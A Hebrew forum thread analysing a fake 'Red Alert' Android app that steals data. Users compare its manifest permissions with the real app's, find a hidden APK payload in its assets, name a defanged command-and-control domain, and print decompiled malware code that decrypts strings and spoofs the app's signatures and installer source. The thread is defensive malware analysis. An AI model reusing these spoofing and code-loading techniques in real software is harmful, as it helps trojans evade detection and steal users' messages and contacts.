שיתוף | הנדסה לאחור של אפליקצייה זדונית
-
אני לא הולך להזהיר כאן שוב! חלק מהקבצים שאצרף כאן זדוניים ויש להתייחס אליהם בהתאם!
אתמול, ישראלים רבים קיבלו את ההודעה הזו:
.כניסה לקישור תוריד קובץ APK בשם RedAlert.apk שנראה כמו האפליקציה הרגילה של "צבע אדום".
כמובן שזה חשוד (עדכון אמור להגיע פשוט דרך גוגל פליי).
הקובץ זמין כאן.
RedAlert_Malmware.apkבדיקה ראשונית שלו תראה ששם החבילה הוא
com.red.alertx
ולא
com.red.alert - שם החבילה של האפליקציה האמיתית.כמו כן, כשנפתח את האפליקציה כשאפליקציית "ה-Activity הנוכחי" פועלת, יוצג לנו גם שם האקטיביטי הראשי.

זה לא ActivityMain או משהו, אלא משהו מסורבל... בתוך תת נתיב בתוך האפליקציה בשמות שלא מעידים על זה. כבר קצת חשוד.
פתיחה עם JADX גילתה שהאפליקצייה כתובה בקוטלין - בעוד "צבע אדום" המקורית כתובה בJAVA.
https://github.com/eladnava/redalert-android
(ואגב, שם האקטיביטי הראשי הוא אקטיביטי עם שם רגיל).בפתיחה עם MT Manager נראה המון הבדלים, אבל הלכתי ישר לתיקיית הassets. הקובץ הזדוני מכיל שם קובץ שלא קיים במקור, בשם umgdn. בדיקה קצרה (אם כי ספציפית ראיתי שמישהו כתב את זה, אבל בכל מקרה הייתי בודק את הקובץ הזה) מראה שזהו קובץ APK. ובכן, הנה הוא.
umgdn.apk
קובץ הumgdn הוא עם אותו שם חבילה של הקובץ הזדוני המקורי (com.red.alertx) אך משום מה חתום עם מפתח אחר (וזה מוזר, הרי התוקף פיתח את שני הקבצים).אז חיפשתי בSMALI את המילה umgdn - ומצאתי אותה במקום אחד, עם שם מוזר - בהחלט מריח כמו קוד שעבר אובספיקציה.

אז פתחתי את זה עם JADX במחשב.
וכאן כבר מתחיל להיות מעניין...
הקוד, באופן די מפתיע, לא מתקין את הumgdn. הוא ערמומי בהרבה! הוא מכניס אותו לתיקיית הנתונים של האפליקציה, ומעכשיו טוען קוד ממנו ולא מהAPK המותקן. ככה שאפילו לא מותקן APK אחר. מתוחכם מאוד.
ו... גורם לכך שהאפליקציה תזוהה כמותקנת מגוגל פליי.חוץ מכל מה שקורה עד לכאן, האפליקציה הזו מבקשת הרשאות לSMS וכדומה - מה שהאפליקציה המקורית לא מבקשת.
אז בואו נפתח את הAndroidManifest.xml של שתי האפליקציות להשוואת בקשת הרשאות:
בקובץ הזדוני:
<!-- Control vibration --> <uses-permission android:name="android.permission.VIBRATE" /> <!-- Have full network access --> <uses-permission android:name="android.permission.INTERNET" /> <!-- Prevent phone from sleeping --> <uses-permission android:name="android.permission.WAKE_LOCK" /> <!-- View network connections --> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <!-- Run at startup --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- Allows applications to access coarse location information usually obtained through the network --> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <!-- Allows applications to access fine location information obtained through GPS --> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <!-- Show notifications --> <uses-permission android:name="android.permission.POST_NOTIFICATIONS" /> <!-- This app can appear on top of other apps --> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <!-- Schedule precisely timed actions --> <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" /> <!-- Run foreground service --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <!-- Run foreground service with the type "location" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_LOCATION" /> <!-- Run foreground service with the type "remoteMessaging" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_REMOTE_MESSAGING" /> <!-- Find accounts on the device --> <uses-permission android:name="android.permission.GET_ACCOUNTS" /> <!-- Read your text messages (SMS or MMS) --> <uses-permission android:name="android.permission.READ_SMS" /> <!-- Read your contacts --> <uses-permission android:name="android.permission.READ_CONTACTS" /> <!-- Query all packages --> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" /> <uses-feature android:name="android.hardware.location" android:required="false" /> <uses-feature android:name="android.hardware.location.gps" android:required="false" /> <uses-feature android:name="android.hardware.location.network" android:required="false" /> <uses-feature android:glEsVersion="0x20000" android:required="true" /> <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />בקוד המקורי
<!-- Control vibration --> <uses-permission android:name="android.permission.VIBRATE" /> <!-- Have full network access --> <uses-permission android:name="android.permission.INTERNET" /> <!-- Prevent phone from sleeping --> <uses-permission android:name="android.permission.WAKE_LOCK" /> <!-- View network connections --> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <!-- Run at startup --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- Allows applications to access coarse location information usually obtained through the network --> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <!-- Allows applications to access fine location information obtained through GPS --> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <!-- Show notifications --> <uses-permission android:name="android.permission.POST_NOTIFICATIONS" /> <!-- This app can appear on top of other apps --> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <!-- Schedule precisely timed actions --> <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" /> <!-- Run foreground service --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <!-- Run foreground service with the type "location" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_LOCATION" /> <!-- Run foreground service with the type "remoteMessaging" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_REMOTE_MESSAGING" /> <uses-feature android:name="android.hardware.location" android:required="false" /> <uses-feature android:name="android.hardware.location.gps" android:required="false" /> <uses-feature android:name="android.hardware.location.network" android:required="false" /> <uses-feature android:glEsVersion="0x20000" android:required="true" /> <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" /ובכן, 4 הרשאות נוספו בקוד הזדוני. סמס ואנש"ק - שראינו לבד שנוסף, כי אנדרואיד שואל אם לתת - ועוד שתי הרשאות "שקטות".
android.permission.GET_ACCOUNTSמאפשר גישה לרשימת החשבונות במכשיר (Google, WhatsApp וכו’).
ו
android.permission.QUERY_ALL_PACKAGESשמאפשר לדעת אילו אפליקציות מותקנות במכשיר.
יש לציין, ששתי האפליקציות הזדוניות (זו שיורדת מהלינק והumgdn) נראות מבחינת ממשק וכו' חיקוי מושלם ל"צבע אדום" המקורית, ובמבט מלמעלה גם די זהות אחת לשניה. למעשה, לא ממש הבנתי את הצורך במהלך המתוחכם מאוד שנעשה פה עם הAPK הנוסף - אחרי שגרמת למשתמש להתקין אפליקציה, שנראית לגיטימית לחלוטין, הוא כבר בידיים שלך, ואת זיופי החתימות ומקור ההתקנה הוא גם ככה עושה...
צ"ע.
-
@עדלאידע כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
@מישהו12 אתה יכול להעלות את שני האפליקציות בZIP?
בבקשה ארכיון.zip
כמובן אין אחריות
-
@מישהו12 אבל מה יש במסך הראשי?
לאן נשלחים הנתונים
ואיך והאם זה מתקין את הapk מהנכסים בלי לבקש אישור מהמשתמש@נחמן-פלח כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
@מישהו12 אבל מה יש במסך הראשי?
נראה כמו האפליקציה הרגילה
@נחמן-פלח כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
לאן נשלחים הנתונים
לא מצאתי עדיין
@נחמן-פלח כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
ואיך והאם זה מתקין את הapk מהנכסים בלי לבקש אישור מהמשתמש
זה לא מתקין, זה עושה משהו הרבה יותר מתוחכם, תקרא למעלה.
-
אני לא הולך להזהיר כאן שוב! חלק מהקבצים שאצרף כאן זדוניים ויש להתייחס אליהם בהתאם!
אתמול, ישראלים רבים קיבלו את ההודעה הזו:
.כניסה לקישור תוריד קובץ APK בשם RedAlert.apk שנראה כמו האפליקציה הרגילה של "צבע אדום".
כמובן שזה חשוד (עדכון אמור להגיע פשוט דרך גוגל פליי).
הקובץ זמין כאן.
RedAlert_Malmware.apkבדיקה ראשונית שלו תראה ששם החבילה הוא
com.red.alertx
ולא
com.red.alert - שם החבילה של האפליקציה האמיתית.כמו כן, כשנפתח את האפליקציה כשאפליקציית "ה-Activity הנוכחי" פועלת, יוצג לנו גם שם האקטיביטי הראשי.

זה לא ActivityMain או משהו, אלא משהו מסורבל... בתוך תת נתיב בתוך האפליקציה בשמות שלא מעידים על זה. כבר קצת חשוד.
פתיחה עם JADX גילתה שהאפליקצייה כתובה בקוטלין - בעוד "צבע אדום" המקורית כתובה בJAVA.
https://github.com/eladnava/redalert-android
(ואגב, שם האקטיביטי הראשי הוא אקטיביטי עם שם רגיל).בפתיחה עם MT Manager נראה המון הבדלים, אבל הלכתי ישר לתיקיית הassets. הקובץ הזדוני מכיל שם קובץ שלא קיים במקור, בשם umgdn. בדיקה קצרה (אם כי ספציפית ראיתי שמישהו כתב את זה, אבל בכל מקרה הייתי בודק את הקובץ הזה) מראה שזהו קובץ APK. ובכן, הנה הוא.
umgdn.apk
קובץ הumgdn הוא עם אותו שם חבילה של הקובץ הזדוני המקורי (com.red.alertx) אך משום מה חתום עם מפתח אחר (וזה מוזר, הרי התוקף פיתח את שני הקבצים).אז חיפשתי בSMALI את המילה umgdn - ומצאתי אותה במקום אחד, עם שם מוזר - בהחלט מריח כמו קוד שעבר אובספיקציה.

אז פתחתי את זה עם JADX במחשב.
וכאן כבר מתחיל להיות מעניין...
הקוד, באופן די מפתיע, לא מתקין את הumgdn. הוא ערמומי בהרבה! הוא מכניס אותו לתיקיית הנתונים של האפליקציה, ומעכשיו טוען קוד ממנו ולא מהAPK המותקן. ככה שאפילו לא מותקן APK אחר. מתוחכם מאוד.
ו... גורם לכך שהאפליקציה תזוהה כמותקנת מגוגל פליי.חוץ מכל מה שקורה עד לכאן, האפליקציה הזו מבקשת הרשאות לSMS וכדומה - מה שהאפליקציה המקורית לא מבקשת.
אז בואו נפתח את הAndroidManifest.xml של שתי האפליקציות להשוואת בקשת הרשאות:
בקובץ הזדוני:
<!-- Control vibration --> <uses-permission android:name="android.permission.VIBRATE" /> <!-- Have full network access --> <uses-permission android:name="android.permission.INTERNET" /> <!-- Prevent phone from sleeping --> <uses-permission android:name="android.permission.WAKE_LOCK" /> <!-- View network connections --> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <!-- Run at startup --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- Allows applications to access coarse location information usually obtained through the network --> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <!-- Allows applications to access fine location information obtained through GPS --> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <!-- Show notifications --> <uses-permission android:name="android.permission.POST_NOTIFICATIONS" /> <!-- This app can appear on top of other apps --> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <!-- Schedule precisely timed actions --> <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" /> <!-- Run foreground service --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <!-- Run foreground service with the type "location" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_LOCATION" /> <!-- Run foreground service with the type "remoteMessaging" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_REMOTE_MESSAGING" /> <!-- Find accounts on the device --> <uses-permission android:name="android.permission.GET_ACCOUNTS" /> <!-- Read your text messages (SMS or MMS) --> <uses-permission android:name="android.permission.READ_SMS" /> <!-- Read your contacts --> <uses-permission android:name="android.permission.READ_CONTACTS" /> <!-- Query all packages --> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" /> <uses-feature android:name="android.hardware.location" android:required="false" /> <uses-feature android:name="android.hardware.location.gps" android:required="false" /> <uses-feature android:name="android.hardware.location.network" android:required="false" /> <uses-feature android:glEsVersion="0x20000" android:required="true" /> <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" />בקוד המקורי
<!-- Control vibration --> <uses-permission android:name="android.permission.VIBRATE" /> <!-- Have full network access --> <uses-permission android:name="android.permission.INTERNET" /> <!-- Prevent phone from sleeping --> <uses-permission android:name="android.permission.WAKE_LOCK" /> <!-- View network connections --> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <!-- Run at startup --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <!-- Allows applications to access coarse location information usually obtained through the network --> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <!-- Allows applications to access fine location information obtained through GPS --> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <!-- Show notifications --> <uses-permission android:name="android.permission.POST_NOTIFICATIONS" /> <!-- This app can appear on top of other apps --> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <!-- Schedule precisely timed actions --> <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" /> <!-- Run foreground service --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> <!-- Run foreground service with the type "location" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_LOCATION" /> <!-- Run foreground service with the type "remoteMessaging" --> <uses-permission android:name="android.permission.FOREGROUND_SERVICE_REMOTE_MESSAGING" /> <uses-feature android:name="android.hardware.location" android:required="false" /> <uses-feature android:name="android.hardware.location.gps" android:required="false" /> <uses-feature android:name="android.hardware.location.network" android:required="false" /> <uses-feature android:glEsVersion="0x20000" android:required="true" /> <uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" /ובכן, 4 הרשאות נוספו בקוד הזדוני. סמס ואנש"ק - שראינו לבד שנוסף, כי אנדרואיד שואל אם לתת - ועוד שתי הרשאות "שקטות".
android.permission.GET_ACCOUNTSמאפשר גישה לרשימת החשבונות במכשיר (Google, WhatsApp וכו’).
ו
android.permission.QUERY_ALL_PACKAGESשמאפשר לדעת אילו אפליקציות מותקנות במכשיר.
יש לציין, ששתי האפליקציות הזדוניות (זו שיורדת מהלינק והumgdn) נראות מבחינת ממשק וכו' חיקוי מושלם ל"צבע אדום" המקורית, ובמבט מלמעלה גם די זהות אחת לשניה. למעשה, לא ממש הבנתי את הצורך במהלך המתוחכם מאוד שנעשה פה עם הAPK הנוסף - אחרי שגרמת למשתמש להתקין אפליקציה, שנראית לגיטימית לחלוטין, הוא כבר בידיים שלך, ואת זיופי החתימות ומקור ההתקנה הוא גם ככה עושה...
צ"ע.
@מישהו12 אם אני זוכר נכון בתחילת מלחמת חרבות ברזל קבוצת תקיפה אירנית פרסמה את אותו רעיון שהתחזו לאפליקצייה redalert וזה נכנס לכותרות בכמה מקומות שראיתי,
בכול אופן אז זה התפרסם דרך אתר מזויף שהתחזה למקורי מעניין לבדוק אם זה אותו דבר.עריכה: ראיתי את זה כאן,
https://www.youtube.com/watch?v=QEq2JQ6nzuQגם שם זה קרה בגלל שהאפליקצייה היא קוד פתוח (נראה שזה לא היה רעיון כול כך טוב
)סורי על העריכה

-
מהסתכלות שטחית זה נראה infostealer רגיל שמוסווה בתוך אפליקציה (trojan horse במילים אחרות),
אם אתה רוצה להתעמק לךandroidx.activity.yuma
שמה כול הפעילות קורית.עריכה: מהסתכלות לעומק,
public static String Bewailed() { String str = new String(Cucurbit("GxwuAyR4Fm4pNg0aOShlMTQrGwQAeTYDFx0iPxIYQEwaCylcJDdbLCEySkQjOQ==", 0)); char[] cArr = new char[Asse(str)]; for (int i = 0; i < cArr.length; i++) { cArr[i] = (char) (Stramony(str, i) ^ Nucleoli("shZsWB9AHFd4KIHSUHpqpWUlz2CQst98", i % 32)); } return new String(cArr); }נראה שהc2 זה
https://api[.]ra-backup[.]com/analytics/submit.php
בwhois לא נראה משהו מעניין,
אז בקיצור אין הרבה מה לעשות בנידון חוץ מלדווח על הדומיין לname cheap,
ולקוות שיחסם כך אולי להציל את מי שנפגעו.אגב מעניין לראות שאף על פי שהדומיין של
ra-backup[.]comרק עושה הפניה לצבע אדום גוגל רואה אותו כדומיין של צבע אדום לכול דבר ועניין.https://www.google.com/search?q=ra-backup.com
תוך כדי חיפוש ראיתי את הפוסט הזה אם כי לא נראה שנעשה הרבה בנושא.
-
מהסתכלות שטחית זה נראה infostealer רגיל שמוסווה בתוך אפליקציה (trojan horse במילים אחרות),
אם אתה רוצה להתעמק לךandroidx.activity.yuma
שמה כול הפעילות קורית.עריכה: מהסתכלות לעומק,
public static String Bewailed() { String str = new String(Cucurbit("GxwuAyR4Fm4pNg0aOShlMTQrGwQAeTYDFx0iPxIYQEwaCylcJDdbLCEySkQjOQ==", 0)); char[] cArr = new char[Asse(str)]; for (int i = 0; i < cArr.length; i++) { cArr[i] = (char) (Stramony(str, i) ^ Nucleoli("shZsWB9AHFd4KIHSUHpqpWUlz2CQst98", i % 32)); } return new String(cArr); }נראה שהc2 זה
https://api[.]ra-backup[.]com/analytics/submit.php
בwhois לא נראה משהו מעניין,
אז בקיצור אין הרבה מה לעשות בנידון חוץ מלדווח על הדומיין לname cheap,
ולקוות שיחסם כך אולי להציל את מי שנפגעו.אגב מעניין לראות שאף על פי שהדומיין של
ra-backup[.]comרק עושה הפניה לצבע אדום גוגל רואה אותו כדומיין של צבע אדום לכול דבר ועניין.https://www.google.com/search?q=ra-backup.com
תוך כדי חיפוש ראיתי את הפוסט הזה אם כי לא נראה שנעשה הרבה בנושא.
-
@cfopuser אולי מספיק עם העריכות?

@שניאור-שמח סורי

-
מהסתכלות שטחית זה נראה infostealer רגיל שמוסווה בתוך אפליקציה (trojan horse במילים אחרות),
אם אתה רוצה להתעמק לךandroidx.activity.yuma
שמה כול הפעילות קורית.עריכה: מהסתכלות לעומק,
public static String Bewailed() { String str = new String(Cucurbit("GxwuAyR4Fm4pNg0aOShlMTQrGwQAeTYDFx0iPxIYQEwaCylcJDdbLCEySkQjOQ==", 0)); char[] cArr = new char[Asse(str)]; for (int i = 0; i < cArr.length; i++) { cArr[i] = (char) (Stramony(str, i) ^ Nucleoli("shZsWB9AHFd4KIHSUHpqpWUlz2CQst98", i % 32)); } return new String(cArr); }נראה שהc2 זה
https://api[.]ra-backup[.]com/analytics/submit.php
בwhois לא נראה משהו מעניין,
אז בקיצור אין הרבה מה לעשות בנידון חוץ מלדווח על הדומיין לname cheap,
ולקוות שיחסם כך אולי להציל את מי שנפגעו.אגב מעניין לראות שאף על פי שהדומיין של
ra-backup[.]comרק עושה הפניה לצבע אדום גוגל רואה אותו כדומיין של צבע אדום לכול דבר ועניין.https://www.google.com/search?q=ra-backup.com
תוך כדי חיפוש ראיתי את הפוסט הזה אם כי לא נראה שנעשה הרבה בנושא.
-
מהסתכלות שטחית זה נראה infostealer רגיל שמוסווה בתוך אפליקציה (trojan horse במילים אחרות),
אם אתה רוצה להתעמק לךandroidx.activity.yuma
שמה כול הפעילות קורית.עריכה: מהסתכלות לעומק,
public static String Bewailed() { String str = new String(Cucurbit("GxwuAyR4Fm4pNg0aOShlMTQrGwQAeTYDFx0iPxIYQEwaCylcJDdbLCEySkQjOQ==", 0)); char[] cArr = new char[Asse(str)]; for (int i = 0; i < cArr.length; i++) { cArr[i] = (char) (Stramony(str, i) ^ Nucleoli("shZsWB9AHFd4KIHSUHpqpWUlz2CQst98", i % 32)); } return new String(cArr); }נראה שהc2 זה
https://api[.]ra-backup[.]com/analytics/submit.php
בwhois לא נראה משהו מעניין,
אז בקיצור אין הרבה מה לעשות בנידון חוץ מלדווח על הדומיין לname cheap,
ולקוות שיחסם כך אולי להציל את מי שנפגעו.אגב מעניין לראות שאף על פי שהדומיין של
ra-backup[.]comרק עושה הפניה לצבע אדום גוגל רואה אותו כדומיין של צבע אדום לכול דבר ועניין.https://www.google.com/search?q=ra-backup.com
תוך כדי חיפוש ראיתי את הפוסט הזה אם כי לא נראה שנעשה הרבה בנושא.
@cfopuser אכן מצאתי את הדומיין הזה כשהקלטתי תעבורה עם AdGuard
@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
גם שם זה קרה בגלל שהאפליקצייה היא קוד פתוח (נראה שזה לא היה רעיון כול כך טוב)
לא קשור לזה שהיא קוד פתוח. תסתכל על האפליקציה הזדונית ועל האפליקציה המקורית.
אין שום דבר, שום קשר ביניהם, חוץ מחיקוי של הממשק.
הקוד בנוי אחרת לחלוטין, הזדוני כתוב בקוטלין והמקורי בJAVA. ואם תשים לב, הזדוני בכלל לא קורא לAPI של api.redalert.me...
-
מהסתכלות שטחית זה נראה infostealer רגיל שמוסווה בתוך אפליקציה (trojan horse במילים אחרות),
אם אתה רוצה להתעמק לךandroidx.activity.yuma
שמה כול הפעילות קורית.עריכה: מהסתכלות לעומק,
public static String Bewailed() { String str = new String(Cucurbit("GxwuAyR4Fm4pNg0aOShlMTQrGwQAeTYDFx0iPxIYQEwaCylcJDdbLCEySkQjOQ==", 0)); char[] cArr = new char[Asse(str)]; for (int i = 0; i < cArr.length; i++) { cArr[i] = (char) (Stramony(str, i) ^ Nucleoli("shZsWB9AHFd4KIHSUHpqpWUlz2CQst98", i % 32)); } return new String(cArr); }נראה שהc2 זה
https://api[.]ra-backup[.]com/analytics/submit.php
בwhois לא נראה משהו מעניין,
אז בקיצור אין הרבה מה לעשות בנידון חוץ מלדווח על הדומיין לname cheap,
ולקוות שיחסם כך אולי להציל את מי שנפגעו.אגב מעניין לראות שאף על פי שהדומיין של
ra-backup[.]comרק עושה הפניה לצבע אדום גוגל רואה אותו כדומיין של צבע אדום לכול דבר ועניין.https://www.google.com/search?q=ra-backup.com
תוך כדי חיפוש ראיתי את הפוסט הזה אם כי לא נראה שנעשה הרבה בנושא.
@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
אם אתה רוצה להתעמק לך androidx.activity.yuma
איך הגעת לשם?
@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
בwhois לא נראה משהו מעניין,
הדומיין שייך לחברה איסלנדית שמושבה בריקאוויק.
יש את הדומיין שלה בכתובת המייל ליצירת קשר - אך הwhois שלו מביא את אותם הפרטים בדיוק.
https://www.whois.com/whois/withheldforprivacy.comלמרבה הצער, נראה שמדובר בחברת אבטחת מידע איסלנדית - שבין השאר, מספקת שירות הסתרת רישום - כלומר לשים את הפרטים שלה במקום שלך. ככה שככל הנראה הם לא באמת הבעלים של הדומיין, אלא הוא רק השתמש בהם להסתתרות
-
@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
אם אתה רוצה להתעמק לך androidx.activity.yuma
איך הגעת לשם?
@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
בwhois לא נראה משהו מעניין,
הדומיין שייך לחברה איסלנדית שמושבה בריקאוויק.
יש את הדומיין שלה בכתובת המייל ליצירת קשר - אך הwhois שלו מביא את אותם הפרטים בדיוק.
https://www.whois.com/whois/withheldforprivacy.comלמרבה הצער, נראה שמדובר בחברת אבטחת מידע איסלנדית - שבין השאר, מספקת שירות הסתרת רישום - כלומר לשים את הפרטים שלה במקום שלך. ככה שככל הנראה הם לא באמת הבעלים של הדומיין, אלא הוא רק השתמש בהם להסתתרות
@מישהו12 לא משנה איך הוא יצפין ויערפל את הקוד שלו (והוא לא)
בסוף הוא יצטרך לקרוא לapi של אנדרואיד כדי לקרוא את הsms וכו'חיפוש מהיר בjadx ואתה שם.
לגבי הדומיין זה חברה שאתה שם את פרטיה בשביל לשמור על אנונימיות זה לא משנה בהרבה,
זה שם פיקטיבי בוודאות די גבוהה, אם אתה רוצה לעצור את ההתקפה הפתרון היחיד
זה להתלונן לחברה (namecheap) שיחסמו את הדומיין.בתכלס אפשר גם לתקוף את האתר אבל זה פחות סביר

-
@מישהו12 לא משנה איך הוא יצפין ויערפל את הקוד שלו (והוא לא)
בסוף הוא יצטרך לקרוא לapi של אנדרואיד כדי לקרוא את הsms וכו'חיפוש מהיר בjadx ואתה שם.
לגבי הדומיין זה חברה שאתה שם את פרטיה בשביל לשמור על אנונימיות זה לא משנה בהרבה,
זה שם פיקטיבי בוודאות די גבוהה, אם אתה רוצה לעצור את ההתקפה הפתרון היחיד
זה להתלונן לחברה (namecheap) שיחסמו את הדומיין.בתכלס אפשר גם לתקוף את האתר אבל זה פחות סביר

@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
בסוף הוא יצטרך לקרוא לapi של אנדרואיד כדי לקרוא את הsms וכו'
אפשר גם לקרוא ל api באמצעות invoke method והמתודה בסטרינג... ואפשר גם בקבצי so elf..
כלומר אפשר גם להסתיר קריאות לapi של אנדרואיד. -
@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
בסוף הוא יצטרך לקרוא לapi של אנדרואיד כדי לקרוא את הsms וכו'
אפשר גם לקרוא ל api באמצעות invoke method והמתודה בסטרינג... ואפשר גם בקבצי so elf..
כלומר אפשר גם להסתיר קריאות לapi של אנדרואיד. -
@אפרים-ד כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
so elf
האמת שכחתי שזה אפשרי באנדרואיד,
לא נראה לי jadx ישרוד את זה
. -
@מישהו12 לא משנה איך הוא יצפין ויערפל את הקוד שלו (והוא לא)
בסוף הוא יצטרך לקרוא לapi של אנדרואיד כדי לקרוא את הsms וכו'חיפוש מהיר בjadx ואתה שם.
לגבי הדומיין זה חברה שאתה שם את פרטיה בשביל לשמור על אנונימיות זה לא משנה בהרבה,
זה שם פיקטיבי בוודאות די גבוהה, אם אתה רוצה לעצור את ההתקפה הפתרון היחיד
זה להתלונן לחברה (namecheap) שיחסמו את הדומיין.בתכלס אפשר גם לתקוף את האתר אבל זה פחות סביר

@cfopuser כתב בשיתוף | הנדסה לאחור של אפליקצייה זדונית:
חיפוש מהיר בjdax ואתה שם.
חשבתי על הדרך הזו ולא הספקתי לממש אותה, אבל הייתי פסימי, בגלל הקוד באקטיבטי שטוען את הumgdn - שתסתכל עליו, חלק מהקריאות שם לAPI של אנדרואיד מוצפנות ופוענחות רק בזמן ריצה.
למשל כאן:
@Override // java.lang.reflect.InvocationHandler public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method != null && "getPackageInfo".equals(method.getName())) { String str = (String) args[0]; if ((((Number) args[1]).intValue() & 64) != 0 && appPkgName.equals(str)) { PackageInfo packageInfo = (PackageInfo) method.invoke(this.base, args); packageInfo.signatures = new Signature[signatures.length]; System.arraycopy(signatures, 0, packageInfo.signatures, 0, signatures.length); return packageInfo; } } if (method == null || !"getApplicationInfo".equals(method.getName()) || !appPkgName.equals((String) args[0])) { return new String(new byte[]{103, 101, 116, 73, 110, 115, 116, 97, 108, 108, 101, 114, 80, 97, 99, 107, 97, 103, 101, 78, 97, 109, 101}).equals(method.getName()) ? "com.android.vending" : method.invoke(this.base, args); } ApplicationInfo applicationInfo = (ApplicationInfo) method.invoke(this.base, args); File file = this.fileStreamPath; if (file != null) { applicationInfo.sourceDir = file.getPath(); applicationInfo.publicSourceDir = this.fileStreamPath.getPath(); } return applicationInfo; }אז השורה הזו:
new String(new byte[]{103,101,116,73,110,115,116,97,108,108,101,114,80,97,99,107,97,103,101,78,97,109,101})היא בסה"כ
getInstallerPackageName
